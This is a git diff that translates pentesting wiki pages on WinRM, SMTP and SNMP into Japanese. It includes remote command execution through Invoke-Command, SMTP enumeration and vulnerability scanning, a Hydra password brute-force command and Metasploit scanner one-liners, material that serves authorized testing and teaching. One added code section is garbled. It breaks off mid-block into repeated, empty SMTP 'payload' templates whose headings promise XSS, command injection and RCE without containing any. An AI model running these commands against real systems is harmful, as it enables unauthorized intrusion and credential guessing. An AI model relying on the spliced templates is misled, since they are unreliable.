に関する情報が返されるはずです。 ![](<../.gitbook/assets/image (161) (1).png>) ![](<../.gitbook/assets/image (162).png>) -In this case the first one is configured and the second isn't. +この場合、最初のものは設定されており、2番目のものは設定されていません。 -### Execute a command - -Now we can use PowerShell's `Invoke-Command` to remotely execute a command on the target over WinRM. To remotely run `ipconfig` and see the output: +### コマンドの実行 +これで、PowerShell の `Invoke-Command` を使用して、WinRM を介してターゲット上でコマンドをリモートで実行することができます。`ipconfig` をリモートで実行して出力を確認します。 ``` Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` - ![](<../.gitbook/assets/image (163) (1).png>) -You can also **execute a command of your current PS console via** _**Invoke-Command**_. Suppose that you have locally a function called _**enumeration**_ and you want to **execute it in a remote computer**, you can do: - +また、**Invoke-Command**を使用して、現在のPSコンソールでコマンドを実行することもできます。ローカルに_**enumeration**_という関数があると仮定し、それをリモートコンピュータで実行したい場合は、次のようにします: ```ruby Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` +### スクリプトの実行 -### Execute a Script +To execute a script on a target machine using WinRM, you can use the `Invoke-Command` cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote machines. +```powershell +Invoke-Command -ComputerName -ScriptBlock { + +--boundary-- +. +QUIT +``` + +#### SMTP メールサーバーのバナー情報を表示する(匿名、TLS、認証、ユーザー名とパスワード、メール送信、添付ファイル、XSS ペイロード、コマンドインジェクション) + +```bash +EHLO +STARTTLS +EHLO example.com +AUTH LOGIN + + +MAIL FROM: +RCPT TO: +DATA +Subject: +Content-Type: multipart/mixed; boundary="boundary" + +--boundary +Content-Type: text/plain + + + +--boundary +Content-Type: application/octet-stream +Content-Disposition: attachment; filename="" + + + +--boundary +Content-Type: text/html + + + +--boundary +Content-Type: text/plain + +; + +--boundary-- +. +QUIT +``` + +#### SMTP メールサーバーのバナー情報を表示する(匿名、TLS、認証、ユーザー名とパスワード、メール送信、添付ファイル、XSS ペイロード、コマンドインジェクション、RCE) + +```bash +EHLO +STARTTLS +EHLO example.com +AUTH LOGIN + + +MAIL FROM: +RCPT TO: +DATA +Subject: +Content-Type: multipart/mixed; boundary="boundary" + +--boundary +Content-Type: text/plain + + + +--boundary +Content-Type: application/octet-stream +Content-Disposition: attachment; filename="" + + + +--boundary +Content-Type: text/html + + + +--boundary +Content-Type: text/plain + +; + +--boundary +Content-Type: text/plain + +; + +--boundary-- +. +QUIT +``` ``` Protocol_Name: SMTP #Protocol Abbreviation if there is one. Port_Number: 25,465,587 #Comma separated if there is more than one. Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out Entry_1: - Name: Notes - Description: Notes for SMTP - Note: | - SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server. +Name: Notes +Description: Notes for SMTP +Note: | +SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server. - https://book.hacktricks.xyz/pentesting/pentesting-smtp +https://book.hacktricks.xyz/pentesting/pentesting-smtp Entry_2: - Name: Banner Grab - Description: Grab SMTP Banner - Command: nc -vn {IP} 25 +Name: Banner Grab +Description: Grab SMTP Banner +Command: nc -vn {IP} 25 Entry_3: - Name: SMTP Vuln Scan - Description: SMTP Vuln Scan With Nmap - Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP} +Name: SMTP Vuln Scan +Description: SMTP Vuln Scan With Nmap +Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP} Entry_4: - Name: SMTP User Enum - Description: Enumerate uses with smtp-user-enum - Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP} +Name: SMTP User Enum +Description: Enumerate uses with smtp-user-enum +Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP} Entry_5: - Name: SMTPS Connect - Description: Attempt to connect to SMTPS two different ways - Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587 +Name: SMTPS Connect +Description: Attempt to connect to SMTPS two different ways +Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587 Entry_6: - Name: Find MX Servers - Description: Find MX servers of an organization - Command: dig +short mx {Domain_Name} +Name: Find MX Servers +Description: Find MX servers of an organization +Command: dig +short mx {Domain_Name} Entry_7: - Name: Hydra Brute Force - Description: Need Nothing - Command: hydra -P {Big_Passwordlist} {IP} smtp -V - -Entry_8: - Name: consolesless mfs enumeration - Description: SMTP enumeration without the need to run msfconsole - Note: sourced from https://github.com/carlospolop/legion - Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit' - -``` +Name: Hydra Brute Force +Description: Need Nothing +Command: hydra -P {Big_Passwordlist} {IP} smtp -V +Entry_8: +Name: consolesless mfs enumeration +Description: SMTP enumeration without the need to run msfconsole +Note: sourced from https://github.com/carlospolop/legion +Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit' + +```
-[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ -¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: +[**DragonJAR Security Conferenceは国際的なサイバーセキュリティイベント**](https://www.dragonjarcon.org/)で、2023年9月7日から8日までコロンビアのボゴタで開催されます。このイベントは、スペイン語で最新の研究が発表される技術的な内容のイベントであり、世界中のハッカーや研究者を惹きつけています。 +以下のリンクから今すぐ登録し、この素晴らしいカンファレンスをお見逃しなく!: {% embed url="https://www.dragonjarcon.org/" %} @@ -627,10 +895,10 @@ Entry_8: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** diff --git a/network-services-pentesting/pentesting-smtp/smtp-commands.md b/network-services-pentesting/pentesting-smtp/smtp-commands.md index 247a1a2fc..43c7f07de 100644 --- a/network-services-pentesting/pentesting-smtp/smtp-commands.md +++ b/network-services-pentesting/pentesting-smtp/smtp-commands.md @@ -1,69 +1,67 @@ -# SMTP - Commands +# SMTP - コマンド
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
-[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ -¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: +[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/)は、2023年9月7日から8日にコロンビアのボゴタで開催される、10年以上の歴史を持つ国際的なサイバーセキュリティイベントです。このイベントは、世界中のハッカーや研究者を惹きつける、高度な技術内容のイベントで、スペイン語で最新の研究が発表されます。 +以下のリンクから今すぐ登録し、この素晴らしいカンファレンスをお見逃しなく!: {% embed url="https://www.dragonjarcon.org/" %} -**Extracted from:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/) - **HELO**\ -It’s the first SMTP command: is starts the conversation identifying the sender server and is generally followed by its domain name. +最初のSMTPコマンドです。送信元サーバーを識別し、通常はドメイン名が続きます。 **EHLO**\ -An alternative command to start the conversation, underlying that the server is using the Extended SMTP protocol. +会話を開始するための代替コマンドで、サーバーが拡張SMTPプロトコルを使用していることを示します。 **MAIL FROM**\ -With this SMTP command the operations begin: the sender states the source email address in the “From” field and actually starts the email transfer. +このSMTPコマンドで操作が開始されます。送信者は「From」フィールドにソースのメールアドレスを指定し、実際のメール転送を開始します。 **RCPT TO**\ -It identifies the recipient of the email; if there are more than one, the command is simply repeated address by address. +メールの受信者を識別します。複数の受信者がいる場合、コマンドはアドレスごとに繰り返されます。 **SIZE**\ -This SMTP command informs the remote server about the estimated size (in terms of bytes) of the attached email. It can also be used to report the maximum size of a message to be accepted by the server. +このSMTPコマンドは、添付されたメールの推定サイズ(バイト単位)についてリモートサーバーに通知します。また、サーバーが受け入れるメッセージの最大サイズを報告するためにも使用できます。 **DATA**\ -With the DATA command the email content begins to be transferred; it’s generally followed by a 354 reply code given by the server, giving the permission to start the actual transmission. +DATAコマンドにより、メールの内容が転送され始めます。通常、サーバーからの354の応答コードが続き、実際の転送を開始する許可が与えられます。 **VRFY**\ -The server is asked to verify whether a particular email address or username actually exists. +特定のメールアドレスやユーザー名が実際に存在するかどうかを確認するために、サーバーに問い合わせます。 **TURN**\ -This command is used to invert roles between the client and the server, without the need to run a new connaction. +このコマンドは、新しい接続を実行する必要なく、クライアントとサーバーの役割を逆転させるために使用されます。 **AUTH**\ -With the AUTH command, the client authenticates itself to the server, giving its username and password. It’s another layer of security to guarantee a proper transmission. +AUTHコマンドを使用すると、クライアントはユーザー名とパスワードを指定してサーバーに認証します。これは、適切な転送を保証するためのセキュリティの追加レイヤーです。 **RSET**\ -It communicates the server that the ongoing email transmission is going to be terminated, though the SMTP conversation won’t be closed (like in the case of QUIT). +進行中のメール転送が終了することをサーバーに通知しますが、SMTP会話は閉じられません(QUITの場合とは異なります)。 **EXPN**\ -This SMTP command asks for a confirmation about the identification of a mailing list. +このSMTPコマンドは、メーリングリストの識別について確認を求めます。 **HELP**\ -It’s a client’s request for some information that can be useful for the a successful transfer of the email. +クライアントがメールの正常な転送に役立つ情報をリクエストします。 **QUIT**\ -It terminates the SMTP conversation. +SMTP会話を終了します。
-[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ -¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: +[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/)は、2023年9月7日から8日にコロンビアのボゴタで開催される、10年以上の歴史を持つ国際的なサイバーセキュリティイベントです。このイベントは、世界中のハッカーや研究者を惹きつける、高度な技術内容のイベントで、スペイン語で最新の研究が発表されます。 +以下のリンクから今すぐ登録し、この素晴らしいカンファレンスをお見逃しなく!: {% embed url="https://www.dragonjarcon.org/" %} @@ -71,10 +69,7 @@ It terminates the SMTP conversation. ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - - +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RU diff --git a/network-services-pentesting/pentesting-snmp/README.md b/network-services-pentesting/pentesting-snmp/README.md index e4eb007ae..d27e634eb 100644 --- a/network-services-pentesting/pentesting-snmp/README.md +++ b/network-services-pentesting/pentesting-snmp/README.md @@ -1,126 +1,120 @@ -# 161,162,10161,10162/udp - Pentesting SNMP +# 161,162,10161,10162/udp - SNMPのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} -## Basic Information - -**SNMP - Simple Network Management Protocol** is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...). +## 基本情報 +**SNMP(Simple Network Management Protocol)**は、ネットワーク内のさまざまなデバイス(ルーター、スイッチ、プリンター、IoTなど)を監視するために使用されるプロトコルです。 ``` PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) ``` - {% hint style="info" %} -SNMP also uses the port **162/UDP** for **traps**. These are data **packets sent from the SNMP server to the client without being explicitly requested**. +SNMPは、**トラップ**のためにポート**162/UDP**も使用します。これらは、明示的に要求されないまま、SNMPサーバからクライアントに送信されるデータ**パケット**です。 {% endhint %} ### MIB -To ensure that SNMP access works across manufacturers and with different client-server combinations, the **Management Information Base (MIB)** was created. MIB is an **independent format for storing device information**. A MIB is a **text** file in which all queryable **SNMP objects** of a device are listed in a **standardized** tree hierarchy. It contains at **least one `Object Identifier` (`OID`)**, which, in addition to the necessary **unique address** and a **name**, also provides information about the type, access rights, and a description of the respective object\ -MIB files are written in the `Abstract Syntax Notation One` (`ASN.1`) based ASCII text format. The **MIBs do not contain data**, but they explain **where to find which information** and what it looks like, which returns values for the specific OID, or which data type is used. +SNMPアクセスがさまざまなメーカーやクライアントサーバの組み合わせで機能するようにするために、**Management Information Base(MIB)**が作成されました。MIBは、デバイス情報を格納するための**独立した形式**です。MIBは、デバイスのすべてのクエリ可能な**SNMPオブジェクト**が**標準化された**ツリー階層でリストされている**テキスト**ファイルです。少なくとも1つの`Object Identifier(OID)`を含み、必要な**一意のアドレス**と**名前**に加えて、各オブジェクトのタイプ、アクセス権、および説明に関する情報も提供します。\ +MIBファイルは、`Abstract Syntax Notation One(ASN.1)`ベースのASCIIテキスト形式で書かれています。**MIBにはデータは含まれていません**が、**どの情報をどこで見つけるか**、それがどのように見えるか、特定のOIDに対する返り値や使用されるデータ型などを説明しています。 -### OIDs +### OID -**OIDs** stands for **O**bject **Id**entifiers. **OIDs uniquely identify managed objects in a MIB hierarchy**. This can be depicted as a tree, the levels of which are assigned by different organizations. Top level MIB object IDs (OIDs) belong to different standard organizations.\ -**Vendors define private branches including managed objects for their own products.** +**OID**は**オブジェクト識別子**の略です。**OIDはMIB階層内の管理対象オブジェクトを一意に識別**します。これはツリーとして表現され、そのレベルは異なる組織によって割り当てられます。トップレベルのMIBオブジェクトID(OID)は、異なる標準組織に属しています。\ +**ベンダーは、自社製品の管理対象オブジェクトを含むプライベートブランチを定義します。** -![](../../.gitbook/assets/snmp\_oid\_mib\_tree.png) +![](../../.gitbook/assets/snmp_oid_mib_tree.png) -You can **navigate** through an **OID tree** from the web here: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) or **see what a OID means** (like `1.3.6.1.2.1.1`) accessing [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ -There are some **well-known OIDs** like the ones inside [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) that references MIB-2 defined Simple Network Management Protocol (SNMP) variables. And from the **OIDs pending from this one** you can obtain some interesting host data (system data, network data, processes data...) +ウェブ上で**OIDツリー**をナビゲートするには、[http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus)にアクセスするか、[http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)にアクセスして**OIDの意味を確認**できます(例:`1.3.6.1.2.1.1`)。\ +[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1)内のような**よく知られたOID**もあります。これは、MIB-2で定義されたSimple Network Management Protocol(SNMP)変数を参照しています。そして、このOIDから**保留中のOID**を取得することで、いくつかの興味深いホストデータ(システムデータ、ネットワークデータ、プロセスデータなど)を取得できます。 -### **OID Example** +### **OIDの例** **`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`** -Here is a breakdown of this address. +このアドレスの詳細は以下の通りです。 -* 1 – this is called the ISO and it establishes that this is an OID. This is why all OIDs start with “1” -* 3 – this is called ORG and it is used to specify the organization that built the device. -* 6 – this is the dod or the Department of Defense which is the organization that established the Internet first. -* 1 – this is the value of the internet to denote that all communications will happen through the Internet. -* 4 – this value determines that this device is made by a private organization and not a government one. -* 1 – this value denotes that the device is made by an enterprise or a business entity. +* 1 - これはISOと呼ばれ、これがOIDであることを確立します。これがすべてのOIDが「1」で始まる理由です。 +* 3 - これはORGと呼ばれ、デバイスを構築した組織を指定するために使用されます。 +* 6 - これはdodまたはDepartment of Defenseであり、最初にインターネットを確立した組織です。 +* 1 - これはインターネットの値で、すべての通信がインターネットを介して行われることを示します。 +* 4 - この値は、このデバイスが政府のものではなく、私企業のものであることを示します。 +* 1 - この値は、デバイスが企業または事業体によって作られたことを示します。 -These first six values tend to be the same for all devices and they give you the basic information about them. This sequence of numbers will be the same for all OIDs, except when the device is made by the government. +これらの最初の6つの値は、すべてのデバイスに対して同じであり、基本的な情報を提供します。政府が製造したデバイス以外のすべてのOIDには、この数列が同じになります。 -Moving on to the next set of numbers. +次の数列に進みましょう。 -* 1452 – gives the name of the organization that manufactured this device. -* 1 – explains the type of device. In this case, it is an alarm clock. -* 2 – determines that this device is a remote terminal unit. +* 1452 - このデバイスを製造した組織の名前を示します。 +* 1 - デバイスのタイプを説明します。この場合、アラーム時計です。 +* 2 - このデバイスがリモート端末ユニットであることを示します。 -The rest of the values give specific information about the device. +残りの値はデバイスに関する具体的な情報を提供します。 -* 5 – denotes a discrete alarm point. -* 1 – specific point in the device -* 3 – port -* 21 – address of the port -* 1 – display for the port -* 4 – point number -* 7 – state of the point +* 5 - 離散アラームポイントを示します。 +* 1 - デバイス内の特定のポイント +* 3 - ポート +* 21 - ポートのアドレス +* 1 - ポートの表示 +* 4 - ポイント番号 +* 7 - ポイントの状態 -_**(Example take from**_ [_**here**_](https://www.netadmintools.com/snmp-mib-and-oids)_**)**_ +_(例は_ [_こちらから取得しました_](https://www.netadmintools.com/snmp-mib-and-oids)_)_ -### SNMP Versions +### SNMPのバージョン -There are 2 important versions of SNMP: +SNMPには2つの重要なバージョンがあります。 -* **SNMPv1**: Main one, it is still the most frequent, the **authentication is based on a string** (community string) that travels in **plain-text** (all the information travels in plain text). **Version 2 and 2c** send the **traffic in plain text** also and uses a **community string as authentication**. -* **SNMPv3**: Uses a better **authentication** form and the information travels **encrypted** using (**dictionary attack** could be performed but would be much harder to find the correct creds than in SNMPv1 and v2). +* **SNMPv1**:主要なバージョンで、最も頻繁に使用されています。**認証は文字列**(コミュニティストリング)に基づいており、**すべての情報が平文で送信**されます。**バージョン2および2c**も情報を**平文で送信**し、認証には**コミュニティストリング**が使用されます。 +* **SNMPv3**:より良い**認証形式**を使用し、情報は**暗号化**されて送信されます(**辞書攻撃**は実行できますが、SNMPv1およびv2よりも正しい認証情報を見つけるのははるかに困難です)。 -### Community Strings +### コミュニティストリング -As mentioned before, **in order to access the information saved on the MIB you need to know the community string on versions 1 and 2/2c and the credentials on version 3.**\ -The are **2 types of community strings**: +前述のように、**MIBに保存された情報にアクセスするには、バージョン1および2/2cではコミュニティストリング、バージョン3では認証情報が必要です。**\ +コミュニティストリングには**2つのタイプ**があります。 -* **`public`** mainly **read only** functions -* **`private`** **Read/Write** in general +* **`public`**:主に**読み取り専用**の機能 +* **`private`**:一般的に**読み取り/書き込み**の機能 -Note that **the writability of an OID depends on the community string used**, so **even** if you find that "**public**" is being used, you could be able to **write some values.** Also, there **may** exist objects which are **always "Read Only".**\ -If you try to **write** an object a **`noSuchName` or `readOnly` error** is received\*\*.\*\* +OIDの書き込み可能性は使用されるコミュニティストリングに依存するため、**「public」**が使用されているとわかっても、**一部の値を書き込むことができる**場合があります。また、**常に「読み取り専用」**であるオブジェクトも存在する場合があります。\ +オブジェクトに**書き込み**しようとすると、**「noSuchName」または「readOnly」エラー**が受信されます。 -In versions 1 and 2/2c if you to use a **bad** community string the server wont **respond**. So, if it responds, a **valid community strings was used**. +バージョン1および2/2cでは、**不正な**コミュニティストリングを使用すると、サーバは**応答しません**。したがって、応答がある場合は、**有効なコミュニティストリングが使用された**ことになります。 -## Ports - -* The SNMP agent receives requests on UDP port **161**. -* The manager receives notifications ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) and [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) on port **162**. -* When used with [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) or [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), requests are received on port **10161** and notifications are sent to port **10162**. +## ポート +* SNMPエージェントはUDPポート**161**でリクエストを受信します。 +* マネージャはポート**162**で通知([トラップ](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap)および[InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest))を受信します。 +* [Transport Layer 